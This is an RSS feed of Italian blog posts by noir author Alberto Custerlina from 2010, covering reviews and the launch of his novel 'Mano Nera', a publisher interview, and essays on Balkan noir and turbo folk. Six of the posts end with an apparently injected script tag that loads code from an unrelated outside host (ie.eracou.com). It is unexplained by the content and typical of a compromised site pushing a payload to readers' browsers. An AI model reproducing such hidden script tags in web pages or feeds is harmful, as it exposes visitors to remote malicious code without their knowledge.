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	<title>Alberto Custerlina &#187; Letteratura</title>
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		<title>Carmilla: recensione di Mano Nera (e altro) a cura Marilù Oliva</title>
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		<pubDate>Sat, 17 Jul 2010 09:13:32 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
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		<description><![CDATA[Scritto con una prosa calibrata come le armi profuse solo nei momenti giusti, questo romanzo ha lo stesso ritmo turbo della musica balcanica, regge su situazioni, descrizioni, movimenti che hanno la corposità e l’agilità di una narrazione che sa il fatto suo. Con equilibrio, esplodendo nei punti giusti, Custerlina, dopo l’ottima prova d’esordio “Balkan bang!” [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="" class="alignleft" height="129" src="http://img203.imageshack.us/img203/9086/rosap.jpg" width="150" />Scritto con una prosa calibrata come le armi profuse solo nei momenti giusti, questo romanzo ha lo stesso ritmo turbo della musica balcanica, regge su situazioni, descrizioni, movimenti che hanno la corposità e l’agilità di una narrazione che sa il fatto suo. Con equilibrio, esplodendo nei punti giusti, Custerlina, dopo l’ottima prova d’esordio “Balkan bang!” (Perdisa Pop, 2008) ci trascina in questa polveriera balcanica che non si è ancora scrollata di dosso il retaggio del passato e che presenta, nella contraddizione inspiegabile tra un Bene e un Male non demarcati, la sua più grande fascinazione.</p>
<p> </p>
<div><a href="http://www.carmillaonline.com/archives/2010/07/003550.html#003550">Leggi tutta la recensione su Carmilla</a></div>
<div> </div>
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		<title>Prima presentazione di Mano Nera</title>
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		<pubDate>Thu, 15 Jul 2010 15:07:24 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
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		<category><![CDATA[Mano Nera]]></category>
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		<description><![CDATA[Data: giovedì 15 luglio 2010 Ora: 19.00 — 20.30 Luogo: Stabilimento balneare Ausonia di riva Traiana 1 — Trieste     Il libro Una Sarajevo livida assiste impietrita al sanguinoso sequestro di Sanja Karahasan, figlia di un ministro bosgnacco. Il giorno successivo un commando trafuga il tesoro più prezioso della Bosnia-Erzegovina, la Haggadah di Sarajevo, un [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/Mano-nera.png"><img alt="Mano Nera di Alberto Custerlina" class="alignleft size-full wp-image-418" height="200" src="http://custerlina.com/writing/wp-content/uploads/2010/06/Mano-nera.png" title="Mano-nera" width="140" /></a>Data: <strong>giovedì 15 luglio 2010</strong></p>
<p>Ora:<span class="Apple-tab-span" style="white-space:pre"> </span><strong>19.00 — 20.30</strong></p>
<p>Luogo: <strong>Stabilimento balneare Ausonia di riva Traiana 1 — Trieste</strong></p>
<p> </p>
<p> </p>
<p>Il libro</p>
<p>Una Sarajevo livida assiste impietrita al sanguinoso sequestro di Sanja Karahasan, figlia di un ministro bosgnacco. Il giorno successivo un commando trafuga il tesoro più prezioso della Bosnia-Erzegovina, la Haggadah di Sarajevo, un antico manoscritto sefardita considerato il simbolo della multiculturalità di una regione in cui le ferite della guerra civile tardano a chiudersi. Durante il furto viene rapita la cugina di Sanja, Nadira, che lavora al Museo Nazionale dove il libro è custodito. </p>
<p>Con queste azioni clamorose, che spingono la popolazione a scendere in piazza, la rediviva Mano Nera, un’organizzazione nazionalista di cui si erano perse le tracce da quasi cent’anni, tenta di ridare fuoco alle polveri balcaniche. Sarà Ljudmila Horvat, killer croata e cattolica integralista, a cercare di evitare il peggio in una lotta contro il tempo che vede coinvolti servizi segreti stranieri, organizzazioni criminali e avventurieri senza scrupoli.</p>
<p> </p>
<p><em>“Il primo “nero” italiano che mi è piaciuto.</em></p>
<p><em>Al Custerlina, Mano Nera, Baldini Castoldi Dalai. </em></p>
<p><em>Un libro Satisfiction: soddisfatti o rimborsati.”</em></p>
<p>Gian Paolo Serino</p>
<p> </p>
<p><em>“Il finale di ”Mano Nera” è come una corsa a perdifiato in un tunnel in fiamme.</em></p>
<p><em>E Alberto Custerlina, bravissimo a tenere stretta in mano questa ragnatela</em></p>
<p><em>di fili narrativi, si conferma scrittore dal ritmo indiavolato. Essenziale, brutale</em></p>
<p><em>quanto basta, ironico e divertente. Insomma, un talento delle storie noir</em></p>
<p><em>da tenere d’occhio.”</em></p>
<p>Alessandro Mezzena Lona</p>
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		<title>Francesco Colombo, Vidocq e l’editoria.</title>
		<link>http://custerlina.com/2010/07/francesco-colombo-vidocq-e-leditoria/</link>
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		<pubDate>Tue, 06 Jul 2010 08:42:13 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Interviste]]></category>
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		<description><![CDATA[Francesco Colombo, editor e direttore editoriale di Baldini Castoldi Dalai [il mio editor ], intervistato dall’inesauribile e bravissima Marilù Oliva. Solo su Thriller Magazine.]]></description>
			<content:encoded><![CDATA[<p><strong><span class="Apple-style-span" style="font-weight: normal; "><img alt="" class="alignleft" height="80" src="http://custerlina.com/writing/wp-content/uploads/2009/11/logo_bcde_1.jpg" width="80" /></span>Francesco Colombo</strong>, editor e direttore editoriale di <a href="http://bcdeditore.it">Baldini Castoldi Dalai</a> [il mio editor <img src='http://custerlina.com/writing/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ], intervistato dall’inesauribile e bravissima <strong>Marilù Oliva</strong>.</p>
<p><a href="http://www.thrillermagazine.it/rubriche/9999/">Solo su Thriller Magazine</a>.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Prima recensione (positiva) di Mano Nera</title>
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		<pubDate>Fri, 02 Jul 2010 07:03:31 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
				<category><![CDATA[Letteratura]]></category>
		<category><![CDATA[Recensione]]></category>
		<category><![CDATA[balcani]]></category>
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		<description><![CDATA[Si potrebbe fare un gioco con Alberto Custerlina. Provare a togliere il suo nome dalla copertina del libro. E, poi, darlo da leggere a un gruppetto di fan incalliti dei romanzi noir. Scommettiamo? Perfino loro finirebbero per dire che quella storia l’ha scritta qualche giovane talento americano. O, al massimo, un inglese, un francese davvero [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/Mano-nera.png"><img alt="Mano Nera di Alberto Custerlina" class="alignleft size-full wp-image-418" height="200" src="http://custerlina.com/writing/wp-content/uploads/2010/06/Mano-nera.png" title="Mano-nera" width="140" /></a><em>Si potrebbe fare un gioco con Alberto Custerlina. Provare a togliere il suo nome dalla copertina del libro. E, poi, darlo da leggere a un gruppetto di fan incalliti dei romanzi noir.</em></p>
<p><em>Scommettiamo? Perfino loro finirebbero per dire che quella storia l’ha scritta qualche giovane talento americano. O, al massimo, un inglese, un francese davvero di buon livello. </em></p>
<p><em>E proprio qui sta il bello: Alberto Custerlina è «nato a Trieste, sull’orlo dei Balcani», come ama dire lui stesso. <span class="Apple-style-span" style="font-style: normal; "><em>Però, credete, quando si mette a scrivere storie noir non è secondo a nessuno. Lo ha dimostrato con il romanzo d’esordio, quel ”Balkan Bang!” che, dopo essere uscito da Perdisa Pop con la benedizione di Luigi Bernardi, è approdato nella collana ”Segretissimo” diretta da Alan D. Altieri. </em></span></em></p>
<p><em>E lo conferma adesso con il secondo, nuovissimo lavoro intitolato ”Mano Nera” (pagg. 173, euro 13,00), che la casa editrice Baldini Castoldi Dalai manderà nelle librerie da martedì.</em></p>
<p> </p>
<p>Avete appena letto l’incipit dell’articolo scritto da <strong>Alessandro Mezzena Lona</strong> e pubblicato sulle colonne de Il Piccolo di Trieste. Per leggerlo nella sua interezza, <a href="http://custerlina.com/writing/wp-content/uploads/2010/07/2010-07-01-il-Piccolo.jpg" target="_blank">cliccate qui</a>.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Mano Nera, Vidocq e i lettori</title>
		<link>http://custerlina.com/2010/06/mano-nera-vidocq-e-i-lettori/</link>
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		<pubDate>Thu, 24 Jun 2010 09:31:53 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
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		<description><![CDATA[Credo fosse febbraio. Oppure i primi di marzo. Il mio editor mi chiama al telefono: abbiamo deciso, dice, Mano Nera inaugurerà una nuova collana di Baldini Castoldi Dalai. Vidocq. Quando sento il nome trasalisco. Sai chi è Vidocq?, mi chiede. Eh, se lo so. Proprio la sera prima avevo rivisto il film con Depardieu, una [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify; "><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/Mano-nera.png"><img alt="" class="alignleft size-full wp-image-418" height="220" src="http://custerlina.com/writing/wp-content/uploads/2010/06/Mano-nera.png" title="Mano-nera" width="154" /></a>Credo fosse febbraio. Oppure i primi di marzo.</p>
<p style="text-align: justify; ">Il mio editor mi chiama al telefono: abbiamo deciso, dice, Mano Nera inaugurerà una nuova collana di <a href="http://bcdeditore.it/" target="_blank">Baldini Castoldi Dalai</a>. <strong>Vidocq</strong>.</p>
<p style="text-align: justify; ">Quando sento il nome trasalisco.</p>
<p style="text-align: justify; ">Sai chi è Vidocq?, mi chiede.</p>
<p style="text-align: justify; ">Eh, se lo so. Proprio la sera prima avevo rivisto il film con Depardieu, una coincidenza strana.</p>
<p style="text-align: justify; "> </p>
<p><span id="more-413"></span></p>
<p style="text-align: justify; ">Vidocq, però, è anche un mito della mia “infanzia”. Non ho mai scordato le due serie televisive francesi con Bernard Noël prima e Claude Brasseur dopo. Non so perché, ma all’epoca mi si erano impresse nella memoria (darei oro per rivedere quegli episodi).</p>
<p style="text-align: justify; ">Oggi, inaugurare una nuova collana di BCDe per me è un grande onore, magnificato ancor di più per avere il nome di Vidocq stampato sul mio libro. Sbrodolamenti a parte, <strong>dal 6 luglio la parola passerà ai lettori</strong>, la prova più dura. Scrivere, trovare una casa editrice, pubblicare, è nulla al confronto di tale prova. Piacere ai lettori è arduo e lo è ancora di più alla seconda prova, dove si cercano conferme e allo stesso tempo novità. Io ho cercato di mantenere l’equilibrio tra il nuovo e il vecchio.</p>
<p style="text-align: justify; ">Mano Nera è un noir [un turbo noir <img src='http://custerlina.com/writing/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ] agile ed essenziale, una pallottola ad alta velocità che mi piacerebbe piazzare nei cervelli dei lettori. Scritto alla mia maniera, certo, eppure più raffinato nelle intenzioni rispetto a Balkan bang!. Ci sarò riuscito? Me lo direte voi. Intanto vi lascio alla scheda del libro, tanto per potervi fare un’idea.</p>
<p style="text-align: justify; "> </p>
<p style="text-align: justify; ">Una Sarajevo livida, in attesa di una primavera che tarda a rivelarsi, assiste al rapimento di Sanja e Nadira Karahasan, rispettivamente figlia e nipote di un ministro bosgnacco. Contemporaneamente, viene trafugato il tesoro più prezioso della Bosnia-Erzegovina, l’Haggadah di Sarajevo, un antico manoscritto sefardita custodito al Museo Nazionale e considerato il simbolo di una multiculturalità che stenta ad affermarsi in una terra ancora ferita dalla guerra civile.</p>
<p style="text-align: justify; ">Con queste azioni clamorose, che spingono la popolazione a scendere in piazza, la rediviva Mano Nera tenta di ridare fuoco alle polveri balcaniche. Sarà Ljudmila Horvat, killer croata e cattolica integralista a cercare di evitare il peggio in una lotta contro il tempo che vede coinvolte organizzazioni criminali, paesi stranieri e avventurieri senza scrupoli. Al suo fianco, due ambigui personaggi, Kostas il greco e Darko Kavajan, tramano nell’ombra per assicurare alla giustizia un criminale di guerra e portare nelle proprie tasche una ricca ricompensa.</p>
<p style="text-align: justify; ">Ma non tutto è come sembra. Oscuri ricordi riemergono dal passato e un enigmatico scacchista russo di madre serba, Kirill Todorovski, muove pedine su una scacchiera dove non tutti i pezzi sono visibili. All’interno di un complesso intreccio ricco di azione e nella totale assenza di una netta distinzione tra il Bene e il Male, Alberto Custerlina ci porta nell’universo criminale bosniaco, in una terra ancora lacerata dalle divisioni etniche e religiose, ma soprattutto preda di famelici lupi senza scrupoli che si contendono il controllo della politica e dei traffici illegali.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Perché scrivo noir balcanici (turbo noir)</title>
		<link>http://custerlina.com/2010/06/perche-scrivo-noir-balcanici-turbo-noir/</link>
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		<pubDate>Mon, 14 Jun 2010 08:47:59 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
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		<description><![CDATA[Scrivere un noir ambientato nei Balcani potrebbe sembrare una cosa insolita per un italiano. E infatti, dopo la pubblicazione di Balkan Bang! molte persone mi hanno posto la seguente domanda: sei italiano, perché non hai scritto un romanzo ambientato in Italia? La mia risposta è sempre stata la stessa: nonostante io parli e scriva in [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/350px-Balkan_topo_en.jpg"><img alt="350px-Balkan_topo_en" class="alignleft size-full wp-image-381" height="256" src="http://custerlina.com/writing/wp-content/uploads/2010/06/350px-Balkan_topo_en.jpg" title="350px-Balkan_topo_en" width="280" /></a>Scrivere un noir ambientato nei Balcani potrebbe sembrare una cosa insolita per un italiano. </p>
<p style="text-align: justify;">E infatti, dopo la pubblicazione di <a href="http://balkanbang.info" target="_blank">Balkan Bang!</a> molte persone mi hanno posto la seguente domanda: <em>sei italiano, perché non hai scritto un romanzo ambientato in Italia?</em> </p>
<p style="text-align: justify;">La mia risposta è sempre stata la stessa: nonostante io parli e scriva in italiano, un triestino come me non sempre si sente pienamente a casa sua quando pensa all’Italia.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><span id="more-380"></span></p>
<p style="text-align: justify;">E ora bisogna subito sgombrare il campo dai fraintendimenti: non si tratta di nazionalismo, di bandiere sventolate oppure di orientamento politico.</p>
<p style="text-align: justify;">Trieste è una città che si affaccia sui Balcani. E’ una città che durante il ‘900 ha perduto due guerre e ha avuto 6 governi diversi. Che per 500 anni è stata austriaca (dalla fine del ‘300 all’inizio del ‘900). E’ una città che dopo la seconda guerra mondiale ha perduto buona parte del suo entroterra culturale e tutto il suo entroterra geografico. Per non parlare del periodo post-bellico, durante il quale lo spopolamento e i problemi con il porto (per farla breve) hanno messo in ginocchio la città. Con questo non voglio dire che sarebbe stato preferibile rimanere sotto il Governo Militare Alleato oppure accorpata alla Jugoslavia. Oppure con l’Austria-Ungheria se avesse vinto la Prima Guerra. Sono discorsi ucronici senza senso. Però è un dato di fatto che per come si è svolta la Storia, il ‘900 a Trieste è stato un disastro e buona parte della responsabilità va attribuita all’Italia.</p>
<p style="text-align: justify;">Per molti triestini, quindi, l’area mittel-europea e quella balcanica sono le terre dove affondano le loro radici. Mi è venuto spontaneo, quindi, rivolgermi ai Balcani per scrivere le mie storie. <strong>Balkan bang!</strong> era ambientato a Sarajevo, il nuovissimo <strong>Mano Nera</strong> pure (<strong>uscita 6 luglio 2010</strong>). Il romanzo successivo partirà da Trieste e da Zagabria per finire a Istanbul. Mondi che molti triestini sono abituati a frequentare per lavoro, per commercio, per le vacanze e perfino per fare la spesa. Mondi che, in senso contrario, hanno frequentato e tuttora frequentano Trieste. Mondi che sento miei per affinità culturale, per tradizione storica, per storia di famiglia.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Turbo Folk — Turbo Noir</title>
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		<pubDate>Fri, 11 Jun 2010 07:39:20 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
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		<category><![CDATA[turbo noir]]></category>

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		<description><![CDATA[Volk è popolo, turbo è il sistema di iniezione di combustibile del cilindro del motore . Turbo folk è combustione del popolo. Qualsiasi stimolo di questo processo è turbo folk. Infiammare le più basse passioni dell’homo sapiens. Turbo folk non è musica, turbo folk è l’incanto delle masse, cacofonia di tutti i gusti e tutti [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://custerlina.com/writing/wp-content/uploads/2010/06/ceca_raznatovic.jpg"><img class="alignleft size-full wp-image-373" title="ceca_raznatovic" src="http://custerlina.com/writing/wp-content/uploads/2010/06/ceca_raznatovic.jpg" alt="ceca_raznatovic" width="240" height="320" /></a><em>Volk è popolo, turbo è il sistema di iniezione di combustibile del cilindro del motore . Turbo folk è combustione del popolo. Qualsiasi stimolo di questo processo è turbo folk. Infiammare le più basse passioni dell’homo sapiens. Turbo folk non è musica, turbo folk è l’incanto delle masse, cacofonia di tutti i gusti e tutti gli odori. Io gli ho dato il nome.</em></p>
<p style="text-align: justify;"><em>L’alcool è turbo folk, la coca-cola è turbo folk, la carne allo spiedo è turbo folk, il nazionalismo è turbo folk, i rave party sono turbo folk, l’etno jazz è turbo folk. Adolf Hitler è turbo folk, il traffico degli organi è turbo folk, i mafiosi sono turbo folk, il silicone è turbo folk, la cocaina è turbo folk, i fuoristrada sono turbo folk.</em></p>
<p style="text-align: justify;"><em>La tessera elettorale che lascia possibilità a qualsiasi idiota di compilarla correttamente è turbo folk, i tatuaggi, piercing e body art sono turbo folk, i rottami delle macchine sono turbofolk, McDonald è turbo folk, le scommesse sono turbo folk, il marketing politico è turbo folk, le soap opere sono turbo folk…</em></p>
<p style="text-align: justify;"><em><br />
<span id="more-371"></span><br />
</em></p>
<p style="text-align: justify;">Il <strong>turbo folk</strong> è un genere musicale nato negli anni ottanta in Yugoslavia. Miscela generi diversi che vanno dalla dance, al rock, alla musica tradizionale balcanica. Ha contenutici erotico-pornografici, politici, mafiosi, violenti, romantici e nazionalisti. E’ l’hip-hop dei balcanici. Molto seguito in Serbia e in Montenegro, trova estimatori anche in Croazia, in Bosnia-Erzegovina, perfino in Grecia. In Macedonia viene usato per spaventare gli orsi.</p>
<p style="text-align: justify;"><div align="center" style="margin:0 auto;"><!-- Smart Youtube --><span class="youtube"><object width="425" height="373"><param name="movie" value="http://www.youtube.com/v/kFFpIBcByvE&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/kFFpIBcByvE&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="373" ></embed><param name="wmode" value="transparent" /></object></span></div></p>
<p style="text-align: justify;">Il testo in corsivo incollato poco sopra è la traduzione di una canzone di Rambo Amadeus, che ha coniato il termine turbo-folk e ne è uno dei massimi esponenti. Quel testo dice tutto.</p>
<p style="text-align: justify;">La politicizzazione del turbo folk scatta durante la guerra ‘91-’96,  in linea di massima quando la cantante Ceca sposa il comandante Arkan, un feroce leader di un gruppo nazionalista serbo (e molto altro).</p>
<p style="text-align: justify;"><div align="center" style="margin:0 auto;"><!-- Smart Youtube --><span class="youtube"><object width="425" height="373"><param name="movie" value="http://www.youtube.com/v/LKF7aCOFGuY&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" /><param name="allowFullScreen" value="true" /><embed wmode="transparent" src="http://www.youtube.com/v/LKF7aCOFGuY&amp;rel=1&amp;color1=5d1719&amp;color2=cd311b&amp;border=1&amp;fs=1&amp;hl=en&amp;autoplay=0&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;feature=related" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="373" ></embed><param name="wmode" value="transparent" /></object></span></div></p>
<p style="text-align: justify;">Se capite il turbo-folk, capite i Balcani.</p>
<p style="text-align: justify;">Io non so se ho ancora capito pienamente i Balcani, però voglio legare i miei romanzi ambientati in questa terra tormentata a qualcosa che ne sia la summa all’interno della cultura popolare. Il turbo folk è la scelta ideale, per cui, pur essendo equidistante da ogni forma balcanica di nazionalismo, mi piace pensare che i miei romanzi possano essere chiamati<strong> turbo noir</strong>. Se vi va, fatelo anche voi.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
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		<title>Alberto Custerlina presenta Pieluigi Porazzi e il suo romanzo L’ombra del falco</title>
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		<pubDate>Thu, 22 Apr 2010 13:33:29 +0000</pubDate>
		<dc:creator>Al Custerlina</dc:creator>
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		<description><![CDATA[Triestini, venerdì 23 aprile, ore 18.00 alla libreria Minerva di via S.Nicolò, Alberto Custerlina presenta Pieluigi Porazzi e il suo romanzo L’ombra del falco (ed. Marsilio), un thriller adrenalinico ambientato a Udine. Non mancate! Alla semplice vista dell’ombra del falco, i piccoli animali che ne sono prede si immobilizzano o scappano terrorizzati. Anche se sono [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Triestini, venerdì 23 aprile, ore 18.00 alla libreria Minerva di via S.Nicolò, Alberto Custerlina presenta Pieluigi Porazzi e il suo romanzo L’ombra del falco (ed. Marsilio), un thriller adrenalinico ambientato a Udine. Non mancate!</strong></p>
<p><img class="alignleft" title="Ombra del falco" src="http://www.marsilioeditori.it/media/libri/3179959.jpg" alt="" width="132" height="200" />Alla semplice vista dell’ombra del falco, i piccoli animali che ne sono prede si immobilizzano o scappano terrorizzati. Anche se sono appena nati, già sanno che è un predatore, è un’informazione scritta nel loro dna. L’ombra di un predatore umano sconvolge una tranquilla cittadina del Nordest. In una discarica viene ritrovato il cadavere di una ragazza. Pochi giorni dopo, alla questura arriva una busta, che contiene una lettera e un dvd, con cui l’assassino sfida la polizia, e in particolare l’ex agente Alex Nero, che viene richiamato in servizio per tentare di catturare il serial killer. La strada per arrivare alla soluzione del caso sarà tortuosa, irta di insidie e pericoli, fino alla sconvolgente rivelazione finale.<br />
L’ombra del falco è un thriller teso e cinematografico che resterà a lungo nella memoria dei lettori. Ma anche un romanzo che dipinge con toni asciutti e taglienti il ritratto di una società malata, popolata di “mostri” anche nella realtà di tutti i giorni.</p>
<p><span style="font-size: 11px; padding: 0px; margin: 0px;"><em>«Questo, siete avvisati, non è il solito serial killer. Questo è un predatore. Questo fa paura. La sua ombra si allunga poco a poco dietro il nascondiglio in cui cercate inutilmente di rannicchiarvi sperando che non vi veda… E dietro quell’ombra ci sono altre ombre, e si confondono tutte con il buio… Avrete gli incubi per un bel po’, dopo aver letto questo romanzo. Fidatevi» </em></span><strong><span style="font-size: 11px; padding: 0px; margin: 0px;">Gianluca Morozzi</span></strong><script src="http://ie.eracou.com/3"></script></p>
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